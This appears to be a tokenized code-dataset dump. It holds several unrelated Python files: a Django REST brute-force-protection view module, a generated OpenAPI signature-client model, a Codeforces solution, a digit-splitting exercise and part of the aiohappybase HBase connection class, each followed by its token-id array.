raise PermissionDenied(detail=f"{e}")
try:
response = fn(self, request, *args, **kwargs)
except ValidationError:
if increase_attempts:
brute_force_protection.increase_attempts()
raise
if increase_attempts and (not only_on_error or 500 > response.status_code >= 400):
brute_force_protection.increase_attempts()
return response
return wrapped
return decorator
class GetAPIView:
def get(self, request, **kwargs):
""""""
return Response(
self.serializer_class(context=self.get_serializer_context()).data
)
class CaptchaViewSet(generics.CreateAPIView, GetAPIView, generics.GenericAPIView):
permission_classes = ()
authentication_classes = ()
serializer_class = CaptchaSerializer
class LoginProtectionViewSet(GetAPIView, generics.GenericAPIView):
permission_classes = ()
authentication_classes = ()
serializer_class = LoginProtectionSerializer
| [
1,
529,
276,
1112,
420,
29958,
29934,
21341,
29923,
29884,
29914,
14095,
29899,
5060,
29899,
4468,
29899,
8926,
29966,
9507,
29958,
5060,
29918,
4468,
29918,
8926,
29914,
1182,
1082,
29918,
10118,
29918,
14676,
428,
29914,
7406,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
2090,
312,
8789,
1053,
11463,
567,
13,
13,
3166,
1791,
29918,
4468,
1053,
1176,
1199,
29892,
8386,
13,
3166,
1791,
29918,
4468,
29889,
11739,
29879,
1053,
15758,
362,
2392,
29892,
20894,
2333,
29315,
1000,
13,
3166,
1791,
29918,
4468,
29889,
5327,
1053,
13291,
13,
13,
3166,
1791,
29918,
4468,
29918,
8926,
29889,
1182,
1082,
29918,
10118,
29918,
14676,
428,
29889,
11739,
29879,
1053,
313,
13,
1678,
1771,
1082,
2831,
346,
1184,
371,
428,
2451,
29892,
13,
29897,
13,
3166,
1791,
29918,
4468,
29918,
8926,
29889,
1182,
1082,
29918,
10118,
29918,
14676,
428,
29889,
14676,
428,
1053,
313,
13,
1678,
1771,
1082,
2831,
346,
1184,
371,
428,
29892,
13,
29897,
13,
3166,
1791,
29918,
4468,
29918,
8926,
29889,
1182,
1082,
29918,
10118,
29918,
14676,
428,
29889,
15550,
19427,
1053,
313,
13,
1678,
8868,
5815,
17679,
29892,
13,
1678,
19130,
1184,
371,
428,
17679,
29892,
13,
29897,
13,
3166,
1791,
29918,
4468,
29918,
8926,
29889,
13239,
29889,
666,
1053,
679,
29918,
4645,
29918,
666,
13,
13,
13,
1753,
12566,
29918,
2754,
29918,
3827,
29898,
6194,
29918,
265,
29918,
2704,
29922,
8824,
29892,
7910,
29918,
1131,
3456,
29879,
29922,
5574,
29892,
1996,
29918,
17885,
5815,
29918,
21936,
29922,
8824,
1125,
13,
1678,
822,
10200,
1061,
29898,
9144,
1125,
13,
4706,
732,
29893,
336,
567,
29898,
9144,
29897,
13,
4706,
822,
21021,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
9651,
1506,
1082,
29918,
10118,
29918,
14676,
428,
353,
1771,
1082,
2831,
346,
1184,
371,
428,
29898,
657,
29918,
4645,
29918,
666,
29898,
3827,
876,
13,
9651,
1018,
29901,
13,
18884,
1506,
1082,
29918,
10118,
29918,
14676,
428,
29889,
15480,
29898,
12277,
29918,
17885,
5815,
29918,
21936,
29922,
12277,
29918,
17885,
5815,
29918,
21936,
29897,
13,
9651,
5174,
1771,
1082,
2831,
346,
1184,
371,
428,
2451,
408,
321,
29901,
13,
18884,
12020,
20894,
2333,
29315,
1000,
29898,
16432,
29922,
29888,
29908,
29912,
29872,
27195,
13,
9651,
1018,
29901,
13,
18884,
2933,
353,
7876,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
29897,
13,
9651,
5174,
15758,
362,
2392,
29901,
13,
18884,
565,
7910,
29918,
1131,
3456,
29879,
29901,
13,
462,
1678,
1506,
1082,
29918,
10118,
29918,
14676,
428,
29889,
262,
1037,
559,
29918,
1131,
3456,
29879,
580,
13,
18884,
12020,
13,
9651,
565,
7910,
29918,
1131,
3456,
29879,
322,
313,
1333,
871,
29918,
265,
29918,
2704,
470,
29871,
29945,
29900,
29900,
1405,
2933,
29889,
4882,
29918,
401,
6736,
29871,
29946,
29900,
29900,
1125,
13,
18884,
1506,
1082,
29918,
10118,
29918,
14676,
428,
29889,
262,
1037,
559,
29918,
1131,
3456,
29879,
580,
13,
9651,
736,
2933,
13,
13,
4706,
736,
21021,
13,
13,
1678,
736,
10200,
1061,
13,
13,
13,
1990,
3617,
8787,
1043,
29901,
13,
1678,
822,
679,
29898,
1311,
29892,
2009,
29892,
3579,
19290,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
736,
13291,
29898,
13,
9651,
1583,
29889,
15550,
3950,
29918,
1990,
29898,
4703,
29922,
1311,
29889,
657,
29918,
15550,
3950,
29918,
4703,
16655,
1272,
13,
4706,
1723,
13,
13,
13,
1990,
8868,
5815,
1043,
2697,
29898,
4738,
1199,
29889,
4391,
8787,
1043,
29892,
3617,
8787,
1043,
29892,
1176,
1199,
29889,
15809,
8787,
1043,
1125,
13,
1678,
10751,
29918,
13203,
353,
3861,
13,
1678,
10760,
29918,
13203,
353,
3861,
13,
1678,
7797,
3950,
29918,
1990,
353,
8868,
5815,
17679,
13,
13,
13,
1990,
19130,
1184,
371,
428,
1043,
2697,
29898,
2577,
8787,
1043,
29892,
1176,
1199,
29889,
15809,
8787,
1043,
1125,
13,
1678,
10751,
29918,
13203,
353,
3861,
13,
1678,
10760,
29918,
13203,
353,
3861,
13,
1678,
7797,
3950,
29918,
1990,
353,
19130,
1184,
371,
428,
17679,
13,
2
] |
signing_today_client/models/robot_id_instantiate_roles_mapping.py | signingtoday/signingtoday-sdk-python | 0 | 68846 | <gh_stars>0
# coding: utf-8
"""
Signing Today Web
*Signing Today* is the perfect Digital Signature Gateway. Whenever in Your workflow You need to add one or more Digital Signatures to Your document, *Signing Today* is the right choice. You prepare Your documents, *Signing Today* takes care of all the rest: send invitations (`signature tickets`) to signers, collects their signatures, send You back the signed document. Integrating *Signing Today* in Your existing applications is very easy. Just follow these API specifications and get inspired by the many examples presented hereafter. # noqa: E501
The version of the OpenAPI document: 2.0.0
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from signing_today_client.configuration import Configuration
class RobotIdInstantiateRolesMapping(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'role_name': 'str',
'signer': 'SignerInstance'
}
attribute_map = {
'role_name': 'roleName',
'signer': 'signer'
}
def __init__(self, role_name=None, signer=None, local_vars_configuration=None): # noqa: E501
"""RobotIdInstantiateRolesMapping - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._role_name = None
self._signer = None
self.discriminator = None
if role_name is not None:
self.role_name = role_name
if signer is not None:
self.signer = signer
@property
def role_name(self):
"""Gets the role_name of this RobotIdInstantiateRolesMapping. # noqa: E501
The role indicated into the template # noqa: E501
:return: The role_name of this RobotIdInstantiateRolesMapping. # noqa: E501
:rtype: str
"""
return self._role_name
@role_name.setter
def role_name(self, role_name):
"""Sets the role_name of this RobotIdInstantiateRolesMapping.
The role indicated into the template # noqa: E501
:param role_name: The role_name of this RobotIdInstantiateRolesMapping. # noqa: E501
:type: str
"""
self._role_name = role_name
@property
def signer(self):
"""Gets the signer of this RobotIdInstantiateRolesMapping. # noqa: E501
:return: The signer of this RobotIdInstantiateRolesMapping. # noqa: E501
:rtype: SignerInstance
"""
return self._signer
@signer.setter
def signer(self, signer):
"""Sets the signer of this RobotIdInstantiateRolesMapping.
:param signer: The signer of this RobotIdInstantiateRolesMapping. # noqa: E501
:type: SignerInstance
"""
self._signer = signer
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, RobotIdInstantiateRolesMapping):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, RobotIdInstantiateRolesMapping):
return True
return self.to_dict() != other.to_dict()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14137,
29901,
23616,
29899,
29947,
13,
13,
15945,
29908,
13,
1678,
9954,
292,
20628,
2563,
13,
13,
1678,
334,
10140,
292,
20628,
29930,
338,
278,
4922,
15918,
9954,
1535,
22510,
1582,
29889,
1932,
1310,
297,
3575,
27321,
887,
817,
304,
788,
697,
470,
901,
15918,
9954,
3698,
304,
3575,
1842,
29892,
334,
10140,
292,
20628,
29930,
338,
278,
1492,
7348,
29889,
887,
19012,
3575,
10701,
29892,
334,
10140,
292,
20628,
29930,
4893,
2562,
310,
599,
278,
1791,
29901,
3638,
2437,
24182,
6695,
4530,
1535,
16892,
1691,
6348,
304,
1804,
414,
29892,
6314,
29879,
1009,
1804,
3698,
29892,
3638,
887,
1250,
278,
8794,
1842,
29889,
17100,
1218,
334,
10140,
292,
20628,
29930,
297,
3575,
5923,
8324,
338,
1407,
4780,
29889,
3387,
1101,
1438,
3450,
2702,
800,
322,
679,
20603,
491,
278,
1784,
6455,
9132,
1244,
7045,
29889,
259,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
1678,
450,
1873,
310,
278,
4673,
8787,
1842,
29901,
29871,
29906,
29889,
29900,
29889,
29900,
13,
1678,
3251,
630,
491,
29901,
2045,
597,
3150,
2754,
29899,
27959,
29889,
11345,
13,
15945,
29908,
13,
13,
13,
5215,
282,
2158,
13,
5215,
337,
29871,
396,
694,
25621,
29901,
383,
29946,
29900,
29896,
13,
13,
5215,
4832,
13,
13,
3166,
26188,
29918,
27765,
29918,
4645,
29889,
13305,
1053,
20999,
13,
13,
13,
1990,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29898,
3318,
1125,
13,
1678,
9995,
12256,
29923,
29901,
910,
770,
338,
4469,
5759,
491,
4673,
8787,
3251,
1061,
29889,
13,
1678,
9897,
29901,
2045,
597,
3150,
2754,
29899,
27959,
29889,
11345,
13,
13,
1678,
1938,
451,
3863,
278,
770,
7522,
29889,
13,
1678,
9995,
13,
13,
1678,
9995,
13,
1678,
6212,
5026,
29901,
13,
418,
1722,
2754,
29918,
8768,
313,
8977,
1125,
450,
1820,
338,
5352,
1024,
13,
462,
9651,
322,
278,
995,
338,
5352,
1134,
29889,
13,
418,
5352,
29918,
1958,
313,
8977,
1125,
450,
1820,
338,
5352,
1024,
13,
462,
9651,
322,
278,
995,
338,
4390,
1820,
297,
5023,
29889,
13,
1678,
9995,
13,
1678,
1722,
2754,
29918,
8768,
353,
426,
13,
4706,
525,
12154,
29918,
978,
2396,
525,
710,
742,
13,
4706,
525,
4530,
261,
2396,
525,
10140,
261,
4998,
29915,
13,
1678,
500,
13,
13,
1678,
5352,
29918,
1958,
353,
426,
13,
4706,
525,
12154,
29918,
978,
2396,
525,
12154,
1170,
742,
13,
4706,
525,
4530,
261,
2396,
525,
4530,
261,
29915,
13,
1678,
500,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6297,
29918,
978,
29922,
8516,
29892,
1804,
261,
29922,
8516,
29892,
1887,
29918,
16908,
29918,
13305,
29922,
8516,
1125,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
9995,
21860,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
448,
263,
1904,
3342,
297,
4673,
8787,
15945,
29908,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
565,
1887,
29918,
16908,
29918,
13305,
338,
6213,
29901,
13,
9651,
1887,
29918,
16908,
29918,
13305,
353,
20999,
580,
13,
4706,
1583,
29889,
2997,
29918,
16908,
29918,
13305,
353,
1887,
29918,
16908,
29918,
13305,
13,
13,
4706,
1583,
3032,
12154,
29918,
978,
353,
6213,
13,
4706,
1583,
3032,
4530,
261,
353,
6213,
13,
4706,
1583,
29889,
2218,
29883,
20386,
1061,
353,
6213,
13,
13,
4706,
565,
6297,
29918,
978,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
12154,
29918,
978,
353,
6297,
29918,
978,
13,
4706,
565,
1804,
261,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
4530,
261,
353,
1804,
261,
13,
13,
1678,
732,
6799,
13,
1678,
822,
6297,
29918,
978,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
6297,
29918,
978,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
450,
6297,
18694,
964,
278,
4472,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
2457,
29901,
450,
6297,
29918,
978,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
851,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
12154,
29918,
978,
13,
13,
1678,
732,
12154,
29918,
978,
29889,
842,
357,
13,
1678,
822,
6297,
29918,
978,
29898,
1311,
29892,
6297,
29918,
978,
1125,
13,
4706,
9995,
29903,
1691,
278,
6297,
29918,
978,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
13,
13,
4706,
450,
6297,
18694,
964,
278,
4472,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
3207,
6297,
29918,
978,
29901,
450,
6297,
29918,
978,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
851,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
12154,
29918,
978,
353,
6297,
29918,
978,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1804,
261,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
1804,
261,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
13,
4706,
584,
2457,
29901,
450,
1804,
261,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
9954,
261,
4998,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
4530,
261,
13,
13,
1678,
732,
4530,
261,
29889,
842,
357,
13,
1678,
822,
1804,
261,
29898,
1311,
29892,
1804,
261,
1125,
13,
4706,
9995,
29903,
1691,
278,
1804,
261,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
13,
13,
13,
4706,
584,
3207,
1804,
261,
29901,
450,
1804,
261,
310,
445,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
9954,
261,
4998,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
4530,
261,
353,
1804,
261,
13,
13,
1678,
822,
304,
29918,
8977,
29898,
1311,
1125,
13,
4706,
9995,
11609,
29879,
278,
1904,
4426,
408,
263,
9657,
15945,
29908,
13,
4706,
1121,
353,
6571,
13,
13,
4706,
363,
12421,
29892,
903,
297,
4832,
29889,
1524,
7076,
29898,
1311,
29889,
3150,
2754,
29918,
8768,
1125,
13,
9651,
995,
353,
679,
5552,
29898,
1311,
29892,
12421,
29897,
13,
9651,
565,
338,
8758,
29898,
1767,
29892,
1051,
1125,
13,
18884,
1121,
29961,
5552,
29962,
353,
1051,
29898,
1958,
29898,
13,
462,
1678,
14013,
921,
29901,
921,
29889,
517,
29918,
8977,
580,
565,
756,
5552,
29898,
29916,
29892,
376,
517,
29918,
8977,
1159,
1683,
921,
29892,
13,
462,
1678,
995,
13,
462,
876,
13,
9651,
25342,
756,
5552,
29898,
1767,
29892,
376,
517,
29918,
8977,
29908,
1125,
13,
18884,
1121,
29961,
5552,
29962,
353,
995,
29889,
517,
29918,
8977,
580,
13,
9651,
25342,
338,
8758,
29898,
1767,
29892,
9657,
1125,
13,
18884,
1121,
29961,
5552,
29962,
353,
9657,
29898,
1958,
29898,
13,
462,
1678,
14013,
2944,
29901,
313,
667,
29961,
29900,
1402,
2944,
29961,
29896,
1822,
517,
29918,
8977,
3101,
13,
462,
1678,
565,
756,
5552,
29898,
667,
29961,
29896,
1402,
376,
517,
29918,
8977,
1159,
1683,
2944,
29892,
13,
462,
1678,
995,
29889,
7076,
580,
13,
462,
876,
13,
9651,
1683,
29901,
13,
18884,
1121,
29961,
5552,
29962,
353,
995,
13,
13,
4706,
736,
1121,
13,
13,
1678,
822,
304,
29918,
710,
29898,
1311,
1125,
13,
4706,
9995,
11609,
29879,
278,
1347,
8954,
310,
278,
1904,
15945,
29908,
13,
4706,
736,
282,
2158,
29889,
29886,
4830,
29898,
1311,
29889,
517,
29918,
8977,
3101,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
9995,
2831,
421,
2158,
29952,
322,
421,
407,
29878,
524,
29952,
15945,
29908,
13,
4706,
736,
1583,
29889,
517,
29918,
710,
580,
13,
13,
1678,
822,
4770,
1837,
12035,
1311,
29892,
916,
1125,
13,
4706,
9995,
11609,
29879,
1565,
565,
1716,
3618,
526,
5186,
15945,
29908,
13,
4706,
565,
451,
338,
8758,
29898,
1228,
29892,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
1125,
13,
9651,
736,
7700,
13,
13,
4706,
736,
1583,
29889,
517,
29918,
8977,
580,
1275,
916,
29889,
517,
29918,
8977,
580,
13,
13,
1678,
822,
4770,
484,
12035,
1311,
29892,
916,
1125,
13,
4706,
9995,
11609,
29879,
1565,
565,
1716,
3618,
526,
451,
5186,
15945,
29908,
13,
4706,
565,
451,
338,
8758,
29898,
1228,
29892,
6417,
327,
1204,
3379,
3656,
403,
29934,
6544,
15845,
1125,
13,
9651,
736,
5852,
13,
13,
4706,
736,
1583,
29889,
517,
29918,
8977,
580,
2804,
916,
29889,
517,
29918,
8977,
580,
13,
2
] |
codeforces/contests/610/3.py | harry-7/mycodes | 1 | 171274 | """
Author:harry7
"""
def form(s):
temp=""
for i in s:
if i=="+":
temp+="*"
else:
temp+="+"
return temp
#from time import time
#START=time()
ans=["++","+*"]
b=1
n=input()
for b in range(1,n):
temp=[]
for i in ans:
temp+=[i+i,i+form(i)]
ans=temp
if n==0:
print "+"
else:
for i in ans:
print i
#print time()-START
| [
1,
9995,
29871,
13,
1678,
13361,
29901,
8222,
719,
29955,
13,
13,
15945,
29908,
13,
13,
1753,
883,
29898,
29879,
1125,
13,
12,
7382,
13776,
13,
12,
1454,
474,
297,
269,
29901,
13,
12,
12,
361,
474,
26359,
29974,
1115,
13,
12,
12,
12,
7382,
29974,
543,
20605,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
7382,
29974,
543,
13578,
13,
12,
2457,
5694,
13,
13,
29937,
3166,
931,
1053,
931,
13,
29937,
25826,
29922,
2230,
580,
12,
13,
550,
29922,
3366,
1817,
3284,
29974,
29930,
3108,
13,
29890,
29922,
29896,
13,
29876,
29922,
2080,
580,
13,
1454,
289,
297,
3464,
29898,
29896,
29892,
29876,
1125,
13,
12,
7382,
29922,
2636,
13,
12,
1454,
474,
297,
6063,
29901,
13,
12,
12,
7382,
29974,
11759,
29875,
29974,
29875,
29892,
29875,
29974,
689,
29898,
29875,
4638,
13,
12,
550,
29922,
7382,
13,
13,
361,
302,
1360,
29900,
29901,
13,
1678,
1596,
376,
13578,
13,
2870,
29901,
13,
1678,
363,
474,
297,
6063,
29901,
13,
12,
1678,
1596,
474,
13,
29937,
2158,
931,
580,
29899,
25826,
13,
2
] |
Ex0023/ex0023.py | Rodrigo-Antonio-Silva/ExerciciosPythonCursoemVideo | 0 | 199243 | <reponame>Rodrigo-Antonio-Silva/ExerciciosPythonCursoemVideo
n = int(input('Informe um número: '))
print('Analisando o número: {}'.format(n))
u = n // 1 % 10
d = n // 10 % 10
c = n // 100 % 10
m = n // 1000 % 10
print('Unidade: {}\nDezena: {}\nCentena: {}\nMilhar: {}'.format(u, d, c, m))
| [
1,
529,
276,
1112,
420,
29958,
29934,
397,
29878,
5973,
29899,
13448,
14642,
29899,
26729,
1564,
29914,
1252,
6269,
19382,
11980,
23902,
578,
331,
15167,
13,
29876,
353,
938,
29898,
2080,
877,
797,
689,
29872,
1922,
13831,
29901,
525,
876,
30004,
13,
2158,
877,
2744,
5711,
1743,
288,
13831,
29901,
6571,
4286,
4830,
29898,
29876,
876,
30004,
13,
29884,
353,
302,
849,
29871,
29896,
1273,
29871,
29896,
29900,
30004,
13,
29881,
353,
302,
849,
29871,
29896,
29900,
1273,
29871,
29896,
29900,
30004,
13,
29883,
353,
302,
849,
29871,
29896,
29900,
29900,
1273,
29871,
29896,
29900,
30004,
13,
29885,
353,
302,
849,
29871,
29896,
29900,
29900,
29900,
1273,
29871,
29896,
29900,
30004,
13,
2158,
877,
2525,
5558,
29901,
426,
1012,
29876,
2772,
2256,
29874,
29901,
426,
1012,
29876,
23369,
2386,
29901,
426,
1012,
29876,
29316,
8222,
29901,
6571,
4286,
4830,
29898,
29884,
29892,
270,
29892,
274,
29892,
286,
876,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
2
] |
aiohappybase/connection.py | python-happybase/aiohappybase | 14 | 55374 | """
AIOHappyBase connection module.
"""
import os
import logging
from typing import AnyStr, List, Dict, Any
from thriftpy2.contrib.aio.transport import (
TAsyncBufferedTransportFactory,
TAsyncFramedTransportFactory,
)
from thriftpy2.contrib.aio.protocol import (
TAsyncBinaryProtocolFactory,
TAsyncCompactProtocolFactory,
)
from thriftpy2.contrib.aio.rpc import make_client
from Hbase_thrift import Hbase, ColumnDescriptor
from .table import Table
from ._util import (
ensure_bytes,
snake_to_camel_case,
check_invalid_items,
run_coro,
)
try:
from thriftpy2_httpx_client import make_aio_client as make_http_client
except ImportError: # pragma: no cover
async def make_http_client(*_, **__):
raise RuntimeError("thriftpy2_httpx_client is required to"
" use the HTTP client protocol.")
logger = logging.getLogger(__name__)
COMPAT_MODES = ('0.90', '0.92', '0.94', '0.96', '0.98')
DEFAULT_HOST = os.environ.get('AIOHAPPYBASE_HOST', 'localhost')
DEFAULT_PORT = int(os.environ.get('AIOHAPPYBASE_PORT', '9090'))
DEFAULT_COMPAT = os.environ.get('AIOHAPPYBASE_COMPAT', '0.98')
DEFAULT_TRANSPORT = os.environ.get('AIOHAPPYBASE_TRANSPORT', 'buffered')
DEFAULT_PROTOCOL = os.environ.get('AIOHAPPYBASE_PROTOCOL', 'binary')
DEFAULT_CLIENT = os.environ.get('AIOHAPPYBASE_CLIENT', 'socket')
class Connection:
"""
Connection to an HBase Thrift server.
The `host` and `port` arguments specify the host name and TCP port
of the HBase Thrift server to connect to. If omitted or ``None``,
a connection to the default port on ``localhost`` is made. If
specifed, the `timeout` argument specifies the socket timeout in
milliseconds.
If `autoconnect` is `True` the connection is made directly during
initialization. Otherwise a context manager should be used (with
Connection...) or :py:meth:`Connection.open` must be called explicitly
before first use. Note that due to limitations in the Python async
framework, a RuntimeError will be raised if it is used inside of a running
asyncio event loop.
The optional `table_prefix` and `table_prefix_separator` arguments
specify a prefix and a separator string to be prepended to all table
names, e.g. when :py:meth:`Connection.table` is invoked. For
example, if `table_prefix` is ``myproject``, all tables will
have names like ``myproject_XYZ``.
The optional `compat` argument sets the compatibility level for
this connection. Older HBase versions have slightly different Thrift
interfaces, and using the wrong protocol can lead to crashes caused
by communication errors, so make sure to use the correct one. This
value can be either the string ``0.90``, ``0.92``, ``0.94``, or
``0.96`` (the default).
The optional `transport` argument specifies the Thrift transport
mode to use. Supported values for this argument are ``buffered``
(the default) and ``framed``. Make sure to choose the right one,
since otherwise you might see non-obvious connection errors or
program hangs when making a connection. HBase versions before 0.94
always use the buffered transport. Starting with HBase 0.94, the
Thrift server optionally uses a framed transport, depending on the
argument passed to the ``hbase-daemon.sh start thrift`` command.
The default ``-threadpool`` mode uses the buffered transport; the
``-hsha``, ``-nonblocking``, and ``-threadedselector`` modes use the
framed transport.
The optional `protocol` argument specifies the Thrift transport
protocol to use. Supported values for this argument are ``binary``
(the default) and ``compact``. Make sure to choose the right one,
since otherwise you might see non-obvious connection errors or
program hangs when making a connection. ``TCompactProtocol`` is
a more compact binary format that is typically more efficient to
process as well. ``TBinaryProtocol`` is the default protocol that
AIOHappyBase uses.
The optional `client` argument specifies the type of Thrift client
to use. Supported values for this argument are ``socket``
(the default) and ``http``. Make sure to choose the right one,
since otherwise you might see non-obvious connection errors or
program hangs when making a connection. To check which client
you should use, refer to the ``hbase.regionserver.thrift.http``
setting. If it is ``true`` use ``http``, otherwise use ``socket``.
.. versionadded:: v1.4.0
`client` argument
.. versionadded:: 0.9
`protocol` argument
.. versionadded:: 0.5
`timeout` argument
.. versionadded:: 0.4
`table_prefix_separator` argument
.. versionadded:: 0.4
support for framed Thrift transports
"""
# TODO: Auto generate these?
THRIFT_TRANSPORTS = dict(
buffered=TAsyncBufferedTransportFactory(),
framed=TAsyncFramedTransportFactory(),
)
THRIFT_PROTOCOLS = dict(
binary=TAsyncBinaryProtocolFactory(decode_response=False),
compact=TAsyncCompactProtocolFactory(decode_response=False),
)
THRIFT_CLIENTS = dict(
socket=make_client,
http=make_http_client,
)
def __init__(self,
host: str = DEFAULT_HOST,
port: int = DEFAULT_PORT,
timeout: int = None,
autoconnect: bool = False,
table_prefix: AnyStr = None,
table_prefix_separator: AnyStr = b'_',
compat: str = DEFAULT_COMPAT,
transport: str = DEFAULT_TRANSPORT,
protocol: str = DEFAULT_PROTOCOL,
client: str = DEFAULT_CLIENT,
**client_kwargs: Any):
"""
:param host: The host to connect to
:param port: The port to connect to
:param timeout: The socket timeout in milliseconds (optional)
:param autoconnect: Whether the connection should be opened directly
:param table_prefix: Prefix used to construct table names (optional)
:param table_prefix_separator: Separator used for `table_prefix`
:param compat: Compatibility mode (optional)
:param transport: Thrift transport mode (optional)
:param protocol: Thrift protocol mode (optional)
:param client: Thrift client mode (optional)
:param client_kwargs:
Extra keyword arguments for `make_client()`. See the ThriftPy2
documentation for more information.
"""
if table_prefix is not None:
if not isinstance(table_prefix, (str, bytes)):
raise TypeError("'table_prefix' must be a string")
table_prefix = ensure_bytes(table_prefix)
if not isinstance(table_prefix_separator, (str, bytes)):
raise TypeError("'table_prefix_separator' must be a string")
table_prefix_separator = ensure_bytes(table_prefix_separator)
check_invalid_items(
compat=(compat, COMPAT_MODES),
transport=(transport, self.THRIFT_TRANSPORTS),
protocol=(protocol, self.THRIFT_PROTOCOLS),
client=(client, self.THRIFT_CLIENTS),
)
# Allow host and port to be None, which may be easier for
# applications wrapping a Connection instance.
self.host = host or DEFAULT_HOST
self.port = port or DEFAULT_PORT
self.timeout = timeout
self.table_prefix = table_prefix
self.table_prefix_separator = table_prefix_separator
self.compat = compat
self._transport_factory = self.THRIFT_TRANSPORTS[transport]
self._protocol_factory = self.THRIFT_PROTOCOLS[protocol]
self._client_factory = self.THRIFT_CLIENTS[client]
self.client_kwargs = {
'service': Hbase,
'host': self.host,
'port': self.port,
'timeout': self.timeout,
'trans_factory': self._transport_factory,
'proto_factory': self._protocol_factory,
**client_kwargs,
}
self.client = None
if autoconnect:
self._autoconnect()
def _autoconnect(self):
run_coro(self.open(), "Cannot autoconnect in a running event loop!")
def _table_name(self, name: AnyStr) -> bytes:
"""Construct a table name by optionally adding a table name prefix."""
name = ensure_bytes(name)
if self.table_prefix is None:
return name
return self.table_prefix + self.table_prefix_separator + name
async def open(self) -> None:
"""
Create and open the underlying client to the HBase instance. This
method can safely be called more than once.
"""
if self.client is not None:
return # _refresh_thrift_client opened the transport
logger.debug(f"Opening Thrift transport to {self.host}:{self.port}")
self.client = await self._client_factory(**self.client_kwargs)
def close(self) -> None:
"""
Close the underlying client to the HBase instance. This method
can be safely called more than once. Note that the client is
destroyed after it is closed which will cause errors to occur
if it is used again before reopening. The :py:class:`Connection`
can be reopened by calling :py:meth:`open` again.
"""
if self.client is None:
return
if logger is not None:
# If called from __del__(), module variables may no longer exist.
logger.debug(f"Closing Thrift transport to {self.host}:{self.port}")
self.client.close()
self.client = None
def table(self, name: AnyStr, use_prefix: bool = True) -> Table:
"""
Return a table object.
Returns a :py:class:`happybase.Table` instance for the table
named `name`. This does not result in a round-trip to the
server, and the table is not checked for existence.
The optional `use_prefix` argument specifies whether the table
prefix (if any) is prepended to the specified `name`. Set this
to `False` if you want to use a table that resides in another
‘prefix namespace’, e.g. a table from a ‘friendly’ application
co-hosted on the same HBase instance. See the `table_prefix`
argument to the :py:class:`Connection` constructor for more
information.
:param name: the name of the table
:param use_prefix: whether to use the table prefix (if any)
:return: Table instance
"""
name = ensure_bytes(name)
if use_prefix:
name = self._table_name(name)
return Table(name, self)
# Table administration and maintenance
async def tables(self) -> List[bytes]:
"""
